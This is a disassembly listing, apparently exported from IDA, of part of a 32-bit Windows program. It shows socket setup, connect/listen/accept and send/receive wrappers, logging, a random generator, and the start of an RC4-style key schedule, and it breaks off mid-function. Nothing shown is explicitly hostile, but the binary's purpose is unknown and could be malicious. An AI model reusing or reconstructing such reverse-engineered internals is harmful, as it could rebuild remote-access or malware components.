		dd 0F00E000h, 2010B01h,	0C60032h, 1A60000h, 0
		dd 7B6000h, 100000h, 0E00000h, 40000000h, 100000h, 20000h
		dd 400h, 0
		dd 400h, 0
		dd 2A00000h, 40000h, 0
		dd 200h, 10000000h, 100000h, 10000000h,	100000h, 0
		dd 1000h, 2 dup(0)
		dd 11A0C00h, 7800h, 1400000h, 156D000h,	12h dup(0)
		dd 11CC400h, 24000h, 6 dup(0)
		dd 65742E00h, 7478h, 0C4E600h, 100000h,	0C60000h, 40000h
		dd 3 dup(0)
		dd 2000h, 64722E60h, 617461h, 21EC00h, 0E00000h, 220000h
		dd 0CA0000h, 3 dup(0)
		dd 4000h, 61642E40h, 6174h, 2A8C00h, 1100000h, 180000h
		dd 0EC0000h, 3 dup(0)
		dd 4000h, 73722EC0h, 6372h, 156D000h, 1400000h,	1580000h
		dd 1040000h, 3 dup(0)
		dd 4000h, 40h, 79h dup(0)
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_443322	proc near		; CODE XREF: DMN1:0044636Ep
					; DMN1:00446D59p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		mov	esi, [ebx]
		jmp	short loc_443334
; ---------------------------------------------------------------------------


loc_44332C:				; CODE XREF: sub_443322+14j
		call	dword_411CC4
		mov	esi, eax


loc_443334:				; CODE XREF: sub_443322+8j
		test	esi, esi
		jz	short loc_44332C
		mov	eax, esi
		mov	edx, 41C64E6Dh
		mul	edx
		lea	esi, [eax+3039h]
		mov	[ebx], esi
		cmp	dword ptr [ebx], 0
		jnz	short loc_443350
		inc	dword ptr [ebx]


loc_443350:				; CODE XREF: sub_443322+2Aj
		mov	eax, esi
		shr	eax, 10h
		and	eax, 7FFFh
		pop	esi
		pop	ebx
		retn
sub_443322	endp


; =============== S U B	R O U T	I N E =======================================



sub_44335D	proc near		; CODE XREF: sub_448AD1+20p
		push	offset dword_41285C
		call	dword_411CC8
		retn
sub_44335D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443369	proc near		; CODE XREF: sub_44354B+35p
					; sub_443CE4+Bp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	offset dword_41285C
		call	dword_411CCC
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_449121
		pop	ecx
		pop	ecx
		mov	ebx, eax
		push	offset dword_41285C
		call	dword_411CD0
		mov	eax, ebx
		pop	ebx
		pop	ebp
		retn
sub_443369	endp


; =============== S U B	R O U T	I N E =======================================



sub_443397	proc near		; CODE XREF: sub_44354B+1Fp
					; sub_443D5C+Bp ...

arg_0		= dword	ptr  4

		push	offset dword_41285C
		call	dword_411CCC
		push	[esp+arg_0]
		call	sub_4494D1
		pop	ecx
		push	offset dword_41285C
		call	dword_411CD0
		retn
sub_443397	endp


; =============== S U B	R O U T	I N E =======================================



sub_4433B8	proc near		; CODE XREF: sub_448AD1+2Ap
		push	offset dword_412874
		call	dword_411CC8
		retn
sub_4433B8	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		cmp	dword ptr [ebp+8], 0
		jz	loc_44347F
		push	0FFFFFFF5h
		call	dword_411CD4
		cmp	eax, 0FFFFFFFFh
		jz	loc_44347F
		push	offset dword_412874
		call	dword_411CCC
		lea	edi, [ebp+0Ch]
		push	edi
		push	dword ptr [ebp+8]
		push	100h
		lea	eax, [ebp-100h]
		push	eax
		call	sub_4495A1
		add	esp, 10h
		mov	ebx, eax
		cmp	ebx, 0FFh
		jbe	short loc_443461
		push	1
		lea	eax, [ebx+80h]
		push	eax
		call	sub_449121
		pop	ecx
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+0Ch]
		push	edi
		push	dword ptr [ebp+8]
		lea	eax, [ebx+1Fh]
		push	eax
		push	esi
		call	sub_4495A1
		add	esp, 10h
		mov	ebx, eax
		push	esi
		push	offset aS_0	; "%s"
		call	sub_449641
		pop	ecx
		pop	ecx
		push	esi
		call	sub_4494D1
		pop	ecx
		jmp	short loc_443474
; ---------------------------------------------------------------------------


loc_443461:				; CODE XREF: DMN1:00443421j
		lea	eax, [ebp-100h]
		push	eax
		push	offset aS_0	; "%s"
		call	sub_449641
		pop	ecx
		pop	ecx


loc_443474:				; CODE XREF: DMN1:0044345Fj
		push	offset dword_412874
		call	dword_411CD0


loc_44347F:				; CODE XREF: DMN1:004433D7j
					; DMN1:004433EDj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_443486	proc near		; CODE XREF: sub_448AD1+25p
		push	offset dword_41288C
		call	dword_411CC8
		retn
sub_443486	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		lea	eax, [ebp-10h]
		push	eax
		call	dword_411CD8
		cmp	word ptr [ebp-8], 0Ch
		jnb	short loc_4434B1
		mov	ebx, offset aAm	; "AM"
		jmp	short loc_4434B6
; ---------------------------------------------------------------------------


loc_4434B1:				; CODE XREF: DMN1:004434A8j
		mov	ebx, offset aPm	; "PM"


loc_4434B6:				; CODE XREF: DMN1:004434AFj
		push	ebx
		movzx	eax, word ptr [ebp-4]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		mov	ecx, 0Ch
		cdq
		idiv	ecx
		push	edx
		movzx	eax, word ptr [ebp-10h]
		mov	ecx, 64h
		cdq
		idiv	ecx
		push	edx
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		push	offset a02i02i02iIIIS ;	"%02i/%02i/%02i	%i:%i:%i%s"
		push	dword ptr [ebp+8]
		call	sub_4496A1
		add	esp, 24h
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	offset dword_41288C
		call	dword_411CCC
		push	offset aA	; "a"
		push	dword ptr [ebp+8]
		call	sub_4496E1
		pop	ecx
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_44353B
		lea	eax, [ebp+10h]
		mov	[ebp-4], eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	ebx
		call	sub_449791
		add	esp, 0Ch
		push	ebx
		call	sub_449941
		pop	ecx


loc_44353B:				; CODE XREF: DMN1:0044351Dj
		push	offset dword_41288C
		call	dword_411CD0
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44354B	proc near		; CODE XREF: sub_448AD1+4Bp

var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_0]
		jmp	short loc_443570
; ---------------------------------------------------------------------------


loc_443558:				; CODE XREF: sub_44354B+2Cj
		dec	dword_411000
		mov	eax, dword_411000
		push	dword_4128A4[eax*4]
		call	sub_443397
		pop	ecx


loc_443570:				; CODE XREF: sub_44354B+Bj
		cmp	dword_411000, 0
		jnz	short loc_443558
		jmp	short loc_4435EC
; ---------------------------------------------------------------------------


loc_44357B:				; CODE XREF: sub_44354B+ADj
		push	401h
		call	sub_443369
		pop	ecx
		mov	edx, dword_411000
		mov	dword_4128A4[edx*4], eax
		cmp	byte ptr [ebx],	22h
		jnz	short loc_44359F
		inc	ebx
		mov	[ebp+var_1], 22h
		jmp	short loc_4435A3
; ---------------------------------------------------------------------------


loc_44359F:				; CODE XREF: sub_44354B+4Bj
		mov	[ebp+var_1], 20h


loc_4435A3:				; CODE XREF: sub_44354B+52j
		and	[ebp+var_8], 0
		mov	eax, dword_411000
		lea	edx, [eax+1]
		mov	dword_411000, edx
		mov	esi, dword_4128A4[eax*4]
		jmp	short loc_4435C4
; ---------------------------------------------------------------------------


loc_4435BE:				; CODE XREF: sub_44354B+8Bj
		mov	al, [ebx]
		mov	[esi], al
		inc	esi
		inc	ebx


loc_4435C4:				; CODE XREF: sub_44354B+71j
		mov	al, [ebx]
		test	al, al
		jz	short loc_4435D8
		cmp	al, [ebp+var_1]
		jz	short loc_4435D8
		cmp	[ebp+var_8], 400h
		jl	short loc_4435BE


loc_4435D8:				; CODE XREF: sub_44354B+7Dj
					; sub_44354B+82j
		cmp	[ebp+var_1], 22h
		jnz	short loc_4435E7
		cmp	byte ptr [ebx],	22h
		jnz	short loc_4435E7
		inc	ebx
		jmp	short loc_4435E7
; ---------------------------------------------------------------------------


loc_4435E6:				; CODE XREF: sub_44354B+9Fj
		inc	ebx


loc_4435E7:				; CODE XREF: sub_44354B+91j
					; sub_44354B+96j ...
		cmp	byte ptr [ebx],	20h
		jz	short loc_4435E6


loc_4435EC:				; CODE XREF: sub_44354B+2Ej
		cmp	byte ptr [ebx],	0
		jz	short loc_4435FA
		cmp	dword_411000, 20h
		jl	short loc_44357B


loc_4435FA:				; CODE XREF: sub_44354B+A4j
		mov	eax, dword_411000
		and	dword_4128A4[eax*4], 0
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44354B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44360D	proc near		; CODE XREF: sub_448AD1+256p

var_190		= byte ptr -190h

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		push	ebx
		push	esi
		mov	bx, 2
		lea	eax, [ebp+var_190]
		push	eax
		movzx	eax, bx
		push	eax
		call	sub_44908F
		mov	esi, eax
		test	esi, esi
		jz	short loc_44365D
		mov	bx, 101h
		lea	eax, [ebp+var_190]
		push	eax
		movzx	eax, bx
		push	eax
		call	sub_44908F
		mov	esi, eax
		test	esi, esi
		jz	short loc_443650
		xor	eax, eax
		jmp	short loc_44366B
; ---------------------------------------------------------------------------


loc_443650:				; CODE XREF: sub_44360D+3Dj
		push	offset aWinsock1_1Init ; "WinSock 1.1 initialized.\n"
		call	nullsub_4
		pop	ecx
		jmp	short loc_443668
; ---------------------------------------------------------------------------


loc_44365D:				; CODE XREF: sub_44360D+23j
		push	offset aWinsock2_xInit ; "WinSock 2.x initialized.\n"
		call	nullsub_4
		pop	ecx


loc_443668:				; CODE XREF: sub_44360D+4Ej
		xor	eax, eax
		inc	eax


loc_44366B:				; CODE XREF: sub_44360D+41j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44360D	endp

; ---------------------------------------------------------------------------
		call	sub_449095
		xor	eax, eax
		inc	eax
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44367A	proc near		; CODE XREF: sub_444BB7+BDp
					; DMN1:0044603Cp ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	6
		push	1
		push	2
		call	sub_44909B
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_443698
		xor	eax, eax
		jmp	short loc_4436EE
; ---------------------------------------------------------------------------


loc_443698:				; CODE XREF: sub_44367A+18j
		mov	[ebp+var_4], 112A880h
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	1005h
		push	0FFFFh
		push	ebx
		call	sub_4490A1
		mov	[ebp+var_4], 112A880h
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	1006h
		push	0FFFFh
		push	ebx
		call	sub_4490A1
		mov	[ebp+var_4], 1
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	8
		push	0FFFFh
		push	ebx
		call	sub_4490A1
		mov	eax, ebx


loc_4436EE:				; CODE XREF: sub_44367A+1Cj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44367A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	6
		push	1
		push	2
		call	sub_44909B
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_443711
		xor	eax, eax
		jmp	short loc_443772
; ---------------------------------------------------------------------------


loc_443711:				; CODE XREF: DMN1:0044370Bj
		imul	eax, [ebp+0Ch],	3E8h
		mov	[ebp-4], eax
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	1005h
		push	0FFFFh
		push	ebx
		call	sub_4490A1
		imul	eax, [ebp+8], 3E8h
		mov	[ebp-4], eax
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	1006h
		push	0FFFFh
		push	ebx
		call	sub_4490A1
		xor	eax, eax
		cmp	dword ptr [ebp+10h], 0
		setnz	al
		mov	[ebp-4], eax
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	8
		push	0FFFFh
		push	ebx
		call	sub_4490A1
		mov	eax, ebx


loc_443772:				; CODE XREF: DMN1:0044370Fj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		mov	ebx, [ebp+8]
		imul	eax, [ebp+10h],	3E8h
		mov	[ebp-4], eax
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	1005h
		push	0FFFFh
		push	ebx
		call	sub_4490A1
		imul	eax, [ebp+0Ch],	3E8h
		mov	[ebp-4], eax
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	1006h
		push	0FFFFh
		push	ebx
		call	sub_4490A1
		xor	eax, eax
		cmp	dword ptr [ebp+14h], 0
		setnz	al
		mov	[ebp-4], eax
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	8
		push	0FFFFh
		push	ebx
		call	sub_4490A1
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4437E3	proc near		; CODE XREF: sub_4448CA+15Dp
					; sub_4448CA+1B4p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_4490A7
		xor	eax, eax
		inc	eax
		retn
sub_4437E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4437F0	proc near		; CODE XREF: DMN1:00446B55p
					; DMN1:00446BCFp

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_0]
		and	[ebp+var_10C], 0
		and	[ebp+var_108], 0
		and	[ebp+var_104], 0
		cmp	[ebp+var_104], 40h
		jnb	short loc_443832
		mov	eax, [ebp+var_104]
		lea	edx, [eax+1]
		mov	[ebp+var_104], edx
		mov	[ebp+eax*4+var_100], ebx


loc_443832:				; CODE XREF: sub_4437F0+2Aj
		lea	eax, [ebp+var_10C]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_104]
		push	eax
		push	0
		call	sub_4490AD
		mov	esi, eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_44385D
		test	esi, esi
		jnz	short loc_44385A
		xor	eax, eax
		jmp	short loc_44385D
; ---------------------------------------------------------------------------


loc_44385A:				; CODE XREF: sub_4437F0+64j
		xor	eax, eax
		inc	eax


loc_44385D:				; CODE XREF: sub_4437F0+60j
					; sub_4437F0+68j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4437F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443863	proc near		; CODE XREF: sub_444883+13p
					; sub_4448CA+1F5p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		lea	eax, [ebp+var_4]
		push	eax
		push	4004667Fh
		push	[ebp+arg_0]
		call	sub_4490B3
		mov	ebx, eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_443883
		mov	eax, [ebp+var_4]


loc_443883:				; CODE XREF: sub_443863+1Bj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_443863	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443888	proc near		; CODE XREF: sub_4448CA+14Ep
					; sub_444BB7+DBp ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= word ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4499B1
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		movzx	eax, [ebp+arg_8]
		push	eax
		call	sub_4490B9
		mov	[ebp+var_E], ax
		lea	ebx, [ebp+var_10]
		push	10h
		push	ebx
		push	[ebp+arg_0]
		call	sub_4490BF
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4438D0
		xor	eax, eax
		jmp	short loc_4438D3
; ---------------------------------------------------------------------------


loc_4438D0:				; CODE XREF: sub_443888+42j
		xor	eax, eax
		inc	eax


loc_4438D3:				; CODE XREF: sub_443888+46j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_443888	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4438D8	proc near		; CODE XREF: DMN1:00446D98p
					; DMN1:00448101p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= word ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4499B1
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		movzx	eax, [ebp+arg_8]
		push	eax
		call	sub_4490B9
		mov	[ebp+var_E], ax
		lea	ebx, [ebp+var_10]
		push	10h
		push	ebx
		push	[ebp+arg_0]
		call	sub_4490C5
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_443920
		xor	eax, eax
		jmp	short loc_443923
; ---------------------------------------------------------------------------


loc_443920:				; CODE XREF: sub_4438D8+42j
		xor	eax, eax
		inc	eax


loc_443923:				; CODE XREF: sub_4438D8+46j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4438D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443928	proc near		; CODE XREF: DMN1:00446F18p
					; DMN1:0044811Ep

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	5
		push	[ebp+arg_0]
		call	sub_4490CB
		test	eax, eax
		jge	short loc_44393D
		xor	eax, eax
		jmp	short loc_443940
; ---------------------------------------------------------------------------


loc_44393D:				; CODE XREF: sub_443928+Fj
		xor	eax, eax
		inc	eax


loc_443940:				; CODE XREF: sub_443928+13j
		pop	ebp
		retn
sub_443928	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443942	proc near		; CODE XREF: DMN1:00448139p

var_14		= dword	ptr -14h
var_10		= word ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4499B1
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		mov	[ebp+var_14], 10h
		lea	esi, [ebp+var_10]
		lea	eax, [ebp+var_14]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	sub_4490D1
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_443985
		xor	eax, eax
		jmp	short loc_443987
; ---------------------------------------------------------------------------


loc_443985:				; CODE XREF: sub_443942+3Dj
		mov	eax, ebx


loc_443987:				; CODE XREF: sub_443942+41j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_443942	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44398D	proc near		; CODE XREF: DMN1:00446F30p

var_14		= dword	ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_8]
		mov	edx, [ebp+arg_4]
		and	dword ptr [edx], 0
		mov	word ptr [ebx],	0
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4499B1
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		mov	[ebp+var_14], 10h
		lea	edi, [ebp+var_10]
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		push	[ebp+arg_0]
		call	sub_4490D1
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4439DF
		xor	eax, eax
		jmp	short loc_4439F6
; ---------------------------------------------------------------------------


loc_4439DF:				; CODE XREF: sub_44398D+4Cj
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_C]
		mov	[edx], eax
		movzx	eax, [ebp+var_E]
		push	eax
		call	sub_4490D7
		mov	[ebx], ax
		mov	eax, esi


loc_4439F6:				; CODE XREF: sub_44398D+50j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44398D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4439FD	proc near		; CODE XREF: sub_443ECD+44p
					; sub_443ECD+A3p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		jmp	short loc_443A28
; ---------------------------------------------------------------------------


loc_443A0B:				; CODE XREF: sub_4439FD+2Dj
		push	0
		push	[ebp+arg_8]
		push	ebx
		push	[ebp+arg_0]
		call	sub_4490DD
		mov	esi, eax
		test	esi, esi
		jg	short loc_443A24
		or	eax, 0FFFFFFFFh
		jmp	short loc_443A2F
; ---------------------------------------------------------------------------


loc_443A24:				; CODE XREF: sub_4439FD+20j
		sub	edi, esi
		add	ebx, esi


loc_443A28:				; CODE XREF: sub_4439FD+Cj
		test	edi, edi
		jg	short loc_443A0B
		mov	eax, [ebp+arg_8]


loc_443A2F:				; CODE XREF: sub_4439FD+25j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4439FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443A34	proc near		; CODE XREF: sub_4448CA+1E3p
					; sub_444BB7+149p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_8]
		mov	edi, ebx
		xor	ebx, ebx
		jmp	short loc_443A63
; ---------------------------------------------------------------------------


loc_443A43:				; CODE XREF: sub_443A34+31j
		push	0
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4490DD
		mov	esi, eax
		test	esi, esi
		jle	short loc_443A67
		sub	edi, esi
		mov	eax, [ebp+arg_4]
		add	eax, esi
		mov	[ebp+arg_4], eax
		add	ebx, esi


loc_443A63:				; CODE XREF: sub_443A34+Dj
		test	edi, edi
		jg	short loc_443A43


loc_443A67:				; CODE XREF: sub_443A34+21j
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_443A34	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+10h]
		mov	edi, ebx
		xor	ebx, ebx
		jmp	short loc_443A9D
; ---------------------------------------------------------------------------


loc_443A7D:				; CODE XREF: DMN1:00443A9Fj
		push	0
		push	ebx
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_4490DD
		mov	esi, eax
		test	esi, esi
		jle	short loc_443AA1
		sub	edi, esi
		mov	eax, [ebp+0Ch]
		add	eax, esi
		mov	[ebp+0Ch], eax
		add	ebx, esi


loc_443A9D:				; CODE XREF: DMN1:00443A7Bj
		test	edi, edi
		jg	short loc_443A7D


loc_443AA1:				; CODE XREF: DMN1:00443A8Fj
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443AA8	proc near		; CODE XREF: sub_443DFB+97p
					; sub_4448CA+1A4p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		jmp	short loc_443AD3
; ---------------------------------------------------------------------------


loc_443AB6:				; CODE XREF: sub_443AA8+2Dj
		push	0
		push	[ebp+arg_8]
		push	ebx
		push	[ebp+arg_0]
		call	sub_4490E3
		mov	esi, eax
		test	esi, esi
		jg	short loc_443ACF
		or	eax, 0FFFFFFFFh
		jmp	short loc_443ADA
; ---------------------------------------------------------------------------


loc_443ACF:				; CODE XREF: sub_443AA8+20j
		sub	edi, esi
		add	ebx, esi


loc_443AD3:				; CODE XREF: sub_443AA8+Cj
		test	edi, edi
		jg	short loc_443AB6
		mov	eax, [ebp+arg_8]


loc_443ADA:				; CODE XREF: sub_443AA8+25j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_443AA8	endp


; =============== S U B	R O U T	I N E =======================================



sub_443ADF	proc near		; CODE XREF: DMN1:00443BA3p
					; DMN1:00445F90p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	esi, esi
		push	[esp+8+arg_0]
		call	sub_4490E9
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_443B13
		push	[esp+8+arg_0]
		call	sub_4490EF
		mov	esi, eax
		test	esi, esi
		jnz	short loc_443B0A
		or	eax, 0FFFFFFFFh
		jmp	short loc_443B15
; ---------------------------------------------------------------------------


loc_443B0A:				; CODE XREF: sub_443ADF+24j
		mov	eax, [esi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		jmp	short loc_443B15
; ---------------------------------------------------------------------------


loc_443B13:				; CODE XREF: sub_443ADF+15j
		mov	eax, ebx


loc_443B15:				; CODE XREF: sub_443ADF+29j
					; sub_443ADF+32j
		pop	esi
		pop	ebx
		retn
sub_443ADF	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	10h
		push	0
		lea	eax, [ebp-10h]
		push	eax
		call	sub_4499B1
		add	esp, 0Ch
		mov	word ptr [ebp-10h], 2
		mov	dword ptr [ebp-14h], 10h
		lea	ebx, [ebp-10h]
		lea	eax, [ebp-14h]
		push	eax
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_4490F5
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_443B58
		xor	eax, eax
		jmp	short loc_443B73
; ---------------------------------------------------------------------------


loc_443B58:				; CODE XREF: DMN1:00443B52j
		mov	edx, [ebp+0Ch]
		mov	eax, [ebp-0Ch]
		mov	[edx], eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		call	sub_4490D7
		mov	edx, [ebp+10h]
		mov	[edx], ax
		xor	eax, eax
		inc	eax


loc_443B73:				; CODE XREF: DMN1:00443B56j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		mov	byte ptr [ebp-400h], 0
		push	400h
		lea	eax, [ebp-400h]
		push	eax
		call	sub_4490FB
		lea	eax, [ebp-400h]
		push	eax
		call	sub_443ADF
		pop	ecx
		mov	ebx, eax
		mov	[ebp-404h], ebx
		mov	eax, [ebp-404h]
		push	eax
		call	sub_449101
		mov	esi, eax
		push	esi
		lea	eax, [ebp-400h]
		push	eax
		push	offset aSIsS	; "%s is %s\n"
		call	nullsub_4
		add	esp, 0Ch
		mov	eax, ebx
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443BDC	proc near		; CODE XREF: sub_443D76+14p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		and	dword ptr [edx+400h], 0
		mov	edx, [ebp+arg_0]
		and	dword ptr [edx+404h], 0
		mov	ebx, [ebp+arg_0]
		xor	ecx, ecx


loc_443BFE:				; CODE XREF: sub_443BDC+2Cj
		mov	[ebx+ecx*4], ecx
		inc	ecx
		cmp	ecx, 100h
		jl	short loc_443BFE
		and	[ebp+var_8], 0
		xor	edi, edi
		xor	ecx, ecx


loc_443C12:				; CODE XREF: sub_443BDC+77j
		lea	eax, [ebx+ecx*4]
		mov	[ebp+var_C], eax
		mov	edx, [eax]
		mov	[ebp+var_4], edx
		add	edx, edi
		mov	esi, [ebp+var_8]
